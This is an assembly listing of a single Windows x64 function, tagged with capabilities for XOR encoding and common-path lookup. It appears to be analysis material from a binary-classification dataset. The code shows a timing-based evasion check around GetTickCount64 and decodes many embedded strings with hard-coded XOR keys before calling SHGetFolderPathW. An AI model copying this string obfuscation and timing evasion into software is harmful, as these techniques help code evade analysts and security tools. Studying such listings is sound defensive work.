Function at 0x1400039d0
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push r15
mov eax, 0x11138
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.1400129c0
sub rsp, rax
movaps xmmword [rsp + 0x11110], xmm6
movaps xmmword [rsp + 0x11120], xmm7
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov qword [rsp + 0x58], 0xfffffffff70f2e80
call rsi
lea rdx, [rsp + 0x58]
xor ecx, ecx
mov rbx, rax
call fcn.1400080f2
call rsi
sub rbx, rax
cmp rbx, 0x38a3
ja 0x140003a50
movaps xmm6, xmmword [rsp + 0x11110]
movaps xmm7, xmmword [rsp + 0x11120]
xor eax, eax
add rsp, 0x11138
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1400064b0
call fcn.140003580
cmp byte [rax + 0xb2], 0
mov rdx, rax
je 0x140003a9d
movabs r8, 0x4fb7d5f3ab95cfbf
xor eax, eax
nop word [rax + rax]
mov rcx, rax
mov rdi, r8
and ecx, 7
shl rcx, 3
shr rdi, cl
xor word [rdx + rax*2], di
add rax, 1
cmp rax, 0x59
jne 0x140003a78
mov byte [rdx + 0xb2], 0
mov ecx, 1
lea rbp, [rsp + 0x1110]
lea rsi, [0x140036220]
call fcn.140005be0
mov rdi, rbp
mov ecx, 0x69
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x140038ce0]
call fcn.140013570
lea rcx, [0x140038cc0]
mov rbx, rax
call fcn.140013570
cmp byte [rbx], 0
mov r12, rax
jne 0x140003b3e
mov byte [rax + 0x348], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, r12
mov rax, qword [rsp + 0x1110]
lea rdi, [r12 + 8]
and rdi, 0xfffffffffffffff8
mov qword [r12], rax
mov rax, qword [rsp + 0x1450]
mov qword [r12 + 0x340], rax
mov rax, r12
sub rax, rdi
sub rsi, rax
add eax, 0x348
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [rbx], 1
lea rcx, [0x140026380]
call fcn.140012280
cmp byte [r12 + 0x348], 0
je 0x140003b82
movabs r8, 0x297b45a773fb0941
xor eax, eax
nop dword [rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r12 + rax*2], dx
add rax, 1
cmp rax, 0x1a4
jne 0x140003b58
mov byte [r12 + 0x348], 0
mov rdx, r12
xor ecx, ecx
lea rsi, [0x140036580]
mov rdi, rbp
call fcn.140005be0
mov ecx, 0x26
rep movsq qword [rdi], qword [rsi]
lea rcx, [0x140038d20]
movzx eax, word [rsi]
mov word [rdi], ax
call fcn.140013570
lea rcx, [0x140038d00]
mov rbx, rax
call fcn.140013570
cmp byte [rbx], 0
mov r12, rax
jne 0x140003c21
mov byte [rax + 0x132], 1
mov rsi, rbp
xor r8d, r8d
mov rdx, r12
mov rax, qword [rsp + 0x1110]
lea rdi, [r12 + 8]
and rdi, 0xfffffffffffffff8
mov qword [r12], rax
mov rax, qword [rsp + 0x123a]
mov qword [r12 + 0x12a], rax
mov rax, r12
sub rax, rdi
sub rsi, rax
add eax, 0x132
shr eax, 3
mov ecx, eax
rep movsq qword [rdi], qword [rsi]
mov byte [rbx], 1
lea rcx, [0x1400262f0]
call fcn.140012280
cmp byte [r12 + 0x132], 0
je 0x140003c6a
movabs r8, 0x8107f5017dbbf511
xor eax, eax
nop dword [rax + rax]
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [r12 + rax*2], dx
add rax, 1
cmp rax, 0x99
jne 0x140003c40
mov byte [r12 + 0x132], 0
xor ebx, ebx
xor ecx, ecx
mov rdx, r12
mov r14d, 0xffffbdc9
call fcn.140005be0
mov rax, rbx
mov ecx, 0x41
xor r9d, r9d
lea rdi, [rsp + 0x90]
xor r8d, r8d
mov edx, 0x25
rep stosq qword [rdi], rax
lea rax, [rsp + 0x90]
lea rdi, [rsp + 0x2a0]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x20], rax
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov qword [rsp + 0x40], rax
call rax
mov rax, rbx
mov ecx, 0x41
mov qword [rsp + 0x38], rdi
rep stosq qword [rdi], rax
lea rcx, [0x140038d60]
movdqa xmm0, xmmword [0x1403ef3d0]
mov dword [rsp + 0x1130], 0xc9780b05
mov word [rsp + 0x1134], r14w
movaps xmmword [rsp + 0x1110], xmm0
movdqa xmm0, xmmword [str.__vn]
movaps xmmword [rsp + 0x1120], xmm0
call fcn.140013570
lea rcx, [0x140038d40]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140003d6d
mov r13d, 0xffffbdc9
mov byte [rax + 0x26], 1
xor r8d, r8d
mov rdx, rax
movdqa xmm1, xmmword [rsp + 0x1110]
mov dword [rax + 0x20], 0xc9780b05
lea rcx, [0x140026310]
movdqa xmm2, xmmword [rsp + 0x1120]
mov word [rax + 0x24], r13w
movups xmmword [rax], xmm1
movups xmmword [rax + 0x10], xmm2
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0x26], 0
je 0x140003da2
movabs r8, 0x8373ad4dbdc90b71
xor eax, eax
nop
mov rcx, rax
mov rdx, r8
and ecx, 7
shl rcx, 3
shr rdx, cl
xor word [rbx + rax*2], dx
add rax, 1
cmp rax, 0x13
jne 0x140003d80
mov byte [rbx + 0x26], 0
mov rdi, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov r8, rbx
mov rcx, rdi
call fcn.140006c80
lea rdx, [rsp + 0x54]
mov rcx, rdi
call fcn.140007700
mov r12, rax
test rax, rax
je 0x140005071
lea rax, [rsp + 0xf10]
mov rcx, r12
lea r13, [rsp + 0xf00]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0xf00], rax
call sub.msvcrt.dll_strlen
mov qword [rsp + 0x1110], rax
mov rbx, rax
cmp rax, 0xf
ja 0x140005a76
cmp rax, 1
jne 0x1400059bf
movzx edx, byte [r12]
mov byte [rsp + 0xf10], dl
mov rdx, qword [rsp + 0x48]
mov qword [rsp + 0xf08], rax
lea rcx, [0x140038da0]
mov r12d, 0x52e2
mov byte [rdx + rax], 0
mov rax, qword [0x1403ef3f0]
mov word [rsp + 0x1118], r12w
mov qword [rsp + 0x1110], rax
mov byte [rsp + 0x111a], 0x25
call fcn.140013570
lea rcx, [0x140038d80]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140003eab
mov byte [rax + 0xb], 1
mov edi, 0x52e2
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rsp + 0x1110]
mov word [rbx + 8], di
lea rcx, [0x140026150]
mov byte [rbx + 0xa], 0x25
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xb], 0
je 0x140003eb9
mov rcx, rbx
call fcn.140001560
mov qword [rsp + 0x1110], rbx
call fcn.1400034e0
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140003ed7
mov rcx, rax
call fcn.140001580
mov rax, qword [0x1403ef3f8]
lea rcx, [0x140038e20]
mov qword [rsp + 0x1118], rdx
mov dword [rsp + 0xcf8], 0x764a5ca3
mov qword [rsp + 0xcf0], rax
mov byte [rsp + 0xcfc], 0xeb
call fcn.140013570
lea rcx, [0x140038e00]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140003f53
mov byte [rax + 0xd], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x764a5ca3
lea rcx, [0x140026170]
mov qword [rbx], rax
mov byte [rbx + 0xc], 0xeb
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xd], 0
je 0x140003f61
mov rcx, rbx
call fcn.1400015b0
mov qword [rsp + 0x1120], rbx
call fcn.140003470
cmp byte [rax + 0x11], 0
mov rdx, rax
je 0x140003f7f
mov rcx, rax
call fcn.1400015d0
mov qword [rsp + 0x1128], rdx
call fcn.1400033d0
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140003f9d
mov rcx, rax
call fcn.140001580
mov qword [rsp + 0x1130], rdx
call fcn.140003340
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x140003fbb
mov rcx, rax
call fcn.1400015f0
mov qword [rsp + 0x1138], r10
call fcn.1400032c0
cmp byte [rax + 0x12], 0
mov r10, rax
je 0x140003fd9
mov rcx, rax
call fcn.140001630
mov qword [rsp + 0x1140], r10
call fcn.140003230
cmp byte [rax + 0x16], 0
mov r10, rax
je 0x140003ff7
mov rcx, rax
call fcn.140001670
mov qword [rsp + 0x1148], r10
call fcn.140003190
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140004015
mov rcx, rax
call fcn.140001580
mov qword [rsp + 0x1150], rdx
call fcn.140003100
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x140004033
mov rcx, rax
call fcn.1400015f0
mov rax, qword [0x1403ef400]
lea rcx, [0x140039020]
mov qword [rsp + 0x1158], r10
mov dword [rsp + 0xcf8], 0x1b4850ee
mov qword [rsp + 0xcf0], rax
call fcn.140013570
lea rcx, [0x140039000]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x1400040a3
mov byte [rax + 0xc], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x1b4850ee
lea rcx, [0x140026160]
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xc], 0
je 0x1400040b1
mov rcx, rbx
call fcn.1400016b0
mov qword [rsp + 0x1160], rbx
call fcn.140003090
cmp byte [rax + 0x10], 0
mov rdx, rax
je 0x1400040cf
mov rcx, rax
call fcn.1400016d0
mov qword [rsp + 0x1168], rdx
call fcn.140003020
cmp byte [rax + 0x11], 0
mov rdx, rax
je 0x1400040ed
mov rcx, rax
call fcn.1400015d0
mov qword [rsp + 0x1170], rdx
call fcn.140002fa0
cmp byte [rax + 0x15], 0
mov r10, rax
je 0x14000410b
mov rcx, rax
call fcn.1400016f0
mov qword [rsp + 0x1178], r10
call fcn.140002f00
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140004129
mov rcx, rax
call fcn.140001580
mov qword [rsp + 0x1180], rdx
call fcn.140002e70
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x140004147
mov rcx, rax
call fcn.1400015f0
mov rax, qword [0x1403ef408]
lea rcx, [0x1400391a0]
mov qword [rsp + 0x1188], r10
mov byte [rsp + 0xcf8], 0x8d
mov qword [rsp + 0xcf0], rax
call fcn.140013570
lea rcx, [0x140039180]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x1400041b1
mov byte [rax + 9], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov byte [rbx + 8], 0x8d
lea rcx, [0x1400262b0]
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 9], 0
je 0x1400041cc
movabs rax, 0xf53e9eb1b253f8d
xor byte [rbx + 8], 0x8d
xor qword [rbx], rax
mov byte [rbx + 9], 0
mov rax, qword [0x1403ef410]
lea rcx, [0x1400391e0]
mov qword [rsp + 0x1190], rbx
mov dword [rsp + 0xcf8], 0x764a5ca3
mov qword [rsp + 0xcf0], rax
mov byte [rsp + 0xcfc], 0xeb
call fcn.140013570
lea rcx, [0x1400391c0]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004248
mov byte [rax + 0xd], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x764a5ca3
lea rcx, [0x140026170]
mov qword [rbx], rax
mov byte [rbx + 0xc], 0xeb
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xd], 0
je 0x140004256
mov rcx, rbx
call fcn.1400015b0
mov qword [rsp + 0x1198], rbx
call fcn.140002df0
cmp byte [rax + 0x12], 0
mov r10, rax
je 0x140004274
mov rcx, rax
call fcn.140001630
mov qword [rsp + 0x11a0], r10
call fcn.140002d60
cmp byte [rax + 0x16], 0
mov r10, rax
je 0x140004292
mov rcx, rax
call fcn.140001670
mov qword [rsp + 0x11a8], r10
call fcn.140002cd0
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x1400042b0
mov rcx, rax
call fcn.1400015f0
mov qword [rsp + 0x11b0], r10
call fcn.140002c30
cmp byte [rax + 0x17], 0
mov r10, rax
je 0x1400042ce
mov rcx, rax
call fcn.140001730
mov qword [rsp + 0x11b8], r10
call fcn.140002b90
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x1400042ec
mov rcx, rax
call fcn.140001580
mov qword [rsp + 0x11c0], rdx
call fcn.140002b00
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x14000430a
mov rcx, rax
call fcn.1400015f0
mov rdi, qword [0x1403ef418]
mov ebx, 0x52e2
lea rcx, [0x1400393a0]
mov qword [rsp + 0x11c8], r10
mov word [rsp + 0xcf8], bx
mov qword [rsp + 0xcf0], rdi
mov byte [rsp + 0xcfa], 0x25
call fcn.140013570
lea rcx, [0x140039380]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x14000438c
mov byte [rax + 0xb], 1
mov r11d, 0x52e2
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rsp + 0xcf0]
mov word [rbx + 8], r11w
lea rcx, [0x140026150]
mov byte [rbx + 0xa], 0x25
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xb], 0
je 0x14000439a
mov rcx, rbx
call fcn.140001560
mov qword [rsp + 0x11d0], rbx
call fcn.140002a60
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x1400043b8
mov rcx, rax
call fcn.140001580
mov rax, qword [0x1403ef420]
lea rcx, [0x140039420]
mov qword [rsp + 0x11d8], rdx
mov dword [rsp + 0xcf8], 0x1b4850ee
mov qword [rsp + 0xcf0], rax
call fcn.140013570
lea rcx, [0x140039400]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004428
mov byte [rax + 0xc], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x1b4850ee
lea rcx, [0x140026160]
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xc], 0
je 0x140004436
mov rcx, rbx
call fcn.1400016b0
mov qword [rsp + 0x11e0], rbx
call fcn.1400029f0
cmp byte [rax + 0x10], 0
mov rdx, rax
je 0x140004454
mov rcx, rax
call fcn.1400016d0
mov rax, qword [0x1403ef428]
mov r10d, 0x3fe0
lea rcx, [0x1400394a0]
mov qword [rsp + 0x11e8], rdx
mov word [rsp + 0xcf8], r10w
mov qword [rsp + 0xcf0], rax
call fcn.140013570
lea rcx, [0x140039480]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x1400044cc
mov byte [rax + 0xa], 1
mov r9d, 0x3fe0
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rsp + 0xcf0]
mov word [rbx + 8], r9w
lea rcx, [0x140026130]
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xa], 0
je 0x1400044e9
movabs rax, 0xf53e9eb1b253f8d
xor word [rbx + 8], 0x3f8d
xor qword [rbx], rax
mov byte [rbx + 0xa], 0
mov rax, qword [0x1403ef430]
mov r8d, 0xffffe986
lea rcx, [0x1400394e0]
mov qword [rsp + 0x11f0], rbx
mov word [rsp + 0xcfc], r8w
mov qword [rsp + 0xcf0], rax
mov dword [rsp + 0xcf8], 0x744611f9
call fcn.140013570
lea rcx, [0x1400394c0]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004571
mov byte [rax + 0xe], 1
mov ecx, 0xffffe986
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rsp + 0xcf0]
mov word [rbx + 0xc], cx
lea rcx, [0x1400261a0]
mov dword [rbx + 8], 0x744611f9
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xe], 0
je 0x14000457f
mov rcx, rbx
call fcn.140001770
mov rax, qword [0x1403ef438]
lea rcx, [0x140039520]
mov qword [rsp + 0x11f8], rbx
mov dword [rsp + 0xcf8], 0x1b4850ee
mov qword [rsp + 0xcf0], rax
call fcn.140013570
lea rcx, [0x140039500]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x1400045ef
mov byte [rax + 0xc], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x1b4850ee
lea rcx, [0x140026160]
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xc], 0
je 0x1400045fd
mov rcx, rbx
call fcn.1400016b0
mov qword [rsp + 0x1200], rbx
call fcn.140002980
cmp byte [rax + 0x10], 0
mov rdx, rax
je 0x14000461b
mov rcx, rax
call fcn.1400016d0
mov qword [rsp + 0x1208], rdx
call fcn.1400028e0
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140004639
mov rcx, rax
call fcn.140001580
mov qword [rsp + 0x1210], rdx
call fcn.140002850
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x140004657
mov rcx, rax
call fcn.1400015f0
mov qword [rsp + 0x1218], r10
call fcn.1400027c0
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x140004675
mov rcx, rax
call fcn.1400015f0
mov qword [rsp + 0x1220], r10
call fcn.140002720
cmp byte [rax + 0x17], 0
mov r10, rax
je 0x140004693
mov rcx, rax
call fcn.140001730
mov rax, qword [0x1403ef440]
lea rcx, [0x1400396a0]
mov qword [rsp + 0x1228], r10
mov dword [rsp + 0xcf8], 0x6f4051a3
mov qword [rsp + 0xcf0], rax
mov byte [rsp + 0xcfc], 0xeb
call fcn.140013570
lea rcx, [0x140039680]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x14000470f
mov byte [rax + 0xd], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x6f4051a3
lea rcx, [0x140026170]
mov qword [rbx], rax
mov byte [rbx + 0xc], 0xeb
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xd], 0
je 0x14000471d
mov rcx, rbx
call fcn.1400015b0
mov qword [rsp + 0x1230], rbx
call fcn.1400026b0
cmp byte [rax + 0x11], 0
mov rdx, rax
je 0x14000473b
mov rcx, rax
call fcn.1400015d0
mov rax, qword [0x1403ef448]
lea rcx, [0x140039720]
mov qword [rsp + 0x1238], rdx
mov dword [rsp + 0xcf8], 0x1b4850ee
mov qword [rsp + 0xcf0], rax
call fcn.140013570
lea rcx, [0x140039700]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x1400047ab
mov byte [rax + 0xc], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x1b4850ee
lea rcx, [0x140026160]
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xc], 0
je 0x1400047b9
mov rcx, rbx
call fcn.1400016b0
mov qword [rsp + 0x1240], rbx
call fcn.140002640
cmp byte [rax + 0x10], 0
mov rdx, rax
je 0x1400047d7
mov rcx, rax
call fcn.1400016d0
mov qword [rsp + 0x1248], rdx
call fcn.1400025d0
cmp byte [rax + 0x11], 0
mov rdx, rax
je 0x1400047f5
mov rcx, rax
call fcn.1400015d0
mov qword [rsp + 0x1250], rdx
call fcn.140002550
cmp byte [rax + 0x15], 0
mov r10, rax
je 0x140004813
mov rcx, rax
call fcn.1400016f0
mov qword [rsp + 0x1258], r10
call fcn.1400024e0
cmp byte [rax + 0x11], 0
mov rdx, rax
je 0x140004831
mov rcx, rax
call fcn.1400015d0
mov rax, qword [0x1403ef450]
lea rcx, [0x140039860]
mov qword [rsp + 0x1260], rdx
mov dword [rsp + 0xcf8], 0x764a5ca3
mov qword [rsp + 0xcf0], rax
mov byte [rsp + 0xcfc], 0xeb
call fcn.140013570
lea rcx, [0x140039840]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x1400048ad
mov byte [rax + 0xd], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x764a5ca3
lea rcx, [0x140026170]
mov qword [rbx], rax
mov byte [rbx + 0xc], 0xeb
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xd], 0
je 0x1400048bb
mov rcx, rbx
call fcn.1400015b0
mov qword [rsp + 0x1268], rbx
call fcn.140002470
cmp byte [rax + 0x10], 0
mov rdx, rax
je 0x1400048d9
mov rcx, rax
call fcn.1400016d0
mov rax, qword [0x1403ef458]
lea rcx, [0x1400398e0]
mov qword [rsp + 0x1270], rdx
mov dword [rsp + 0xcf8], 0x1b4850ee
mov qword [rsp + 0xcf0], rax
call fcn.140013570
lea rcx, [0x1400398c0]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004949
mov byte [rax + 0xc], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x1b4850ee
lea rcx, [0x140026160]
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xc], 0
je 0x140004957
mov rcx, rbx
call fcn.1400016b0
mov qword [rsp + 0x1278], rbx
call fcn.1400023d0
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140004975
mov rcx, rax
call fcn.140001580
mov qword [rsp + 0x1280], rdx
lea rcx, [0x140039960]
mov edx, 0x52e2
mov word [rsp + 0xcf8], dx
mov qword [rsp + 0xcf0], rdi
mov byte [rsp + 0xcfa], 0x25
call fcn.140013570
lea rcx, [0x140039940]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x1400049ee
mov byte [rax + 0xb], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov byte [rbx + 0xa], 0x25
lea rcx, [0x140026150]
mov qword [rbx], rax
mov eax, 0x52e2
mov word [rbx + 8], ax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xb], 0
je 0x1400049fc
mov rcx, rbx
call fcn.140001560
mov qword [rsp + 0x1288], rbx
call fcn.140002340
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x140004a1a
mov rcx, rax
call fcn.1400015f0
mov qword [rsp + 0x1290], r10
call fcn.1400022a0
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140004a38
mov rcx, rax
call fcn.140001580
mov rax, qword [0x1403ef460]
lea rcx, [0x140039a20]
mov qword [rsp + 0x1298], rdx
mov dword [rsp + 0xcf8], 0x1b515ae3
mov qword [rsp + 0xcf0], rax
call fcn.140013570
lea rcx, [0x140039a00]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004aa8
mov byte [rax + 0xc], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x1b515ae3
lea rcx, [0x140026160]
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xc], 0
je 0x140004ab6
mov rcx, rbx
call fcn.1400016b0
mov qword [rsp + 0x12a0], rbx
call fcn.140002230
cmp byte [rax + 0x10], 0
mov rdx, rax
je 0x140004ad4
mov rcx, rax
call fcn.1400016d0
mov qword [rsp + 0x12a8], rdx
call fcn.140002190
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140004af2
mov rcx, rax
call fcn.140001580
mov rax, qword [0x1403ef468]
lea rcx, [0x140039ae0]
mov qword [rsp + 0x12b0], rdx
mov byte [rsp + 0xcfa], 0x25
mov qword [rsp + 0xcf0], rax
mov eax, 0x52e2
mov word [rsp + 0xcf8], ax
call fcn.140013570
lea rcx, [0x140039ac0]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004b72
mov byte [rax + 0xb], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov byte [rbx + 0xa], 0x25
lea rcx, [0x140026150]
mov qword [rbx], rax
mov eax, 0x52e2
mov word [rbx + 8], ax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xb], 0
je 0x140004b80
mov rcx, rbx
call fcn.140001560
mov rax, qword [0x1403ef470]
lea rcx, [0x140039b20]
mov qword [rsp + 0x12b8], rbx
mov dword [rsp + 0xcf8], 0x744611f9
mov qword [rsp + 0xcf0], rax
mov eax, 0xffffe986
mov word [rsp + 0xcfc], ax
call fcn.140013570
lea rcx, [0x140039b00]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004c06
mov byte [rax + 0xe], 1
xor r8d, r8d
mov rax, qword [rsp + 0xcf0]
mov rdx, rbx
mov dword [rbx + 8], 0x744611f9
lea rcx, [0x1400261a0]
mov qword [rbx], rax
mov eax, 0xffffe986
mov word [rbx + 0xc], ax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xe], 0
je 0x140004c14
mov rcx, rbx
call fcn.140001770
mov qword [rsp + 0x12c0], rbx
call fcn.140002110
cmp byte [rax + 0x12], 0
mov r10, rax
je 0x140004c32
mov rcx, rax
call fcn.140001630
mov qword [rsp + 0x12c8], r10
call fcn.140002090
cmp byte [rax + 0x12], 0
mov r10, rax
je 0x140004c50
mov rcx, rax
call fcn.140001630
mov rax, qword [0x1403ef478]
lea rcx, [0x140039be0]
mov r15d, 0xffffe986
mov qword [rsp + 0x12d0], r10
mov dword [rsp + 0xcf8], 0x744611e8
mov qword [rsp + 0xcf0], rax
mov word [rsp + 0xcfc], r15w
call fcn.140013570
lea rcx, [0x140039bc0]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004cda
mov byte [rax + 0xe], 1
mov r14d, 0xffffe986
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rsp + 0xcf0]
mov dword [rbx + 8], 0x744611e8
lea rcx, [0x1400261a0]
mov word [rbx + 0xc], r14w
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xe], 0
je 0x140004ce8
mov rcx, rbx
call fcn.140001770
mov qword [rsp + 0x12d8], rbx
call fcn.140001ff0
cmp byte [rax + 0x17], 0
mov r10, rax
je 0x140004d06
mov rcx, rax
call fcn.140001730
mov qword [rsp + 0x12e0], r10
call fcn.140001f60
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x140004d24
mov rcx, rax
call fcn.1400015f0
mov qword [rsp + 0x12e8], r10
call fcn.140001ed0
cmp byte [rax + 0x13], 0
mov r10, rax
je 0x140004d42
mov rcx, rax
call fcn.1400015f0
mov qword [rsp + 0x12f0], r10
call fcn.140001e30
cmp byte [rax + 0xf], 0
mov rdx, rax
je 0x140004d60
mov rcx, rax
call fcn.140001580
mov qword [rsp + 0x12f8], rdx
call fcn.140001db0
cmp byte [rax + 0x14], 0
mov rdx, rax
je 0x140004daa
movabs r8, 0xf53e9eb1b253f8d
xor eax, eax
nop word [rax + rax]
mov rcx, rax
mov rdi, r8
and ecx, 7
shl rcx, 3
shr rdi, cl
xor byte [rdx + rax], dil
add rax, 1
cmp rax, 0x14
jne 0x140004d88
mov byte [rdx + 0x14], 0
mov qword [rsp + 0x1300], rdx
call fcn.140001d40
cmp byte [rax + 0x10], 0
mov rdx, rax
je 0x140004dc8
mov rcx, rax
call fcn.1400016d0
mov qword [rsp + 0x1308], rdx
call fcn.140001cc0
cmp byte [rax + 0x12], 0
mov r10, rax
je 0x140004de6
mov rcx, rax
call fcn.140001630
mov rax, qword [0x1403ef480]
lea rcx, [0x140039de0]
mov r12d, 0xffffe986
mov qword [rsp + 0x1310], r10
mov dword [rsp + 0xcf8], 0x744611ff
mov qword [rsp + 0xcf0], rax
mov word [rsp + 0xcfc], r12w
call fcn.140013570
lea rcx, [0x140039dc0]
mov rsi, rax
call fcn.140013570
cmp byte [rsi], 0
mov rbx, rax
jne 0x140004e6e
mov byte [rax + 0xe], 1
mov edi, 0xffffe986
xor r8d, r8d
mov rdx, rbx
mov rax, qword [rsp + 0xcf0]
mov dword [rbx + 8], 0x744611ff
lea rcx, [0x1400261a0]
mov word [rbx + 0xc], di
mov qword [rbx], rax
mov byte [rsi], 1
call fcn.140012280
cmp byte [rbx + 0xe], 0
je 0x140004e7c
mov rcx, rbx
call fcn.140001770
mov qword [rsp + 0x1318], rbx
call fcn.140001c40
cmp byte [rax + 0x14], 0
mov rdx, rax
je 0x140004ec2
movabs r8, 0xf53e9eb1b253f8d
xor eax, eax
nop
mov rcx, rax
mov rdi, r8
and ecx, 7
shl rcx, 3
shr rdi, cl
xor byte [rdx + rax], dil
add rax, 1
cmp rax, 0x14
jne 0x140004ea0
mov byte [rdx + 0x14], 0
mov qword [rsp + 0x1320], rdx
call fcn.140001bd0
cmp byte [rax + 0x10], 0
mov rdx, rax
je 0x140004ee0
mov rcx, rax
call fcn.1400016d0
mov qword [rsp + 0x1328], rdx
mov rbx, rbp
lea rsi, [rsp + 0x1330]
movq xmm6, qword [0x1403ef490]
movq xmm7, qword [0x1403ef488]
movabs rdi, 0x3fffffffffffffff
jmp 0x140004f1d
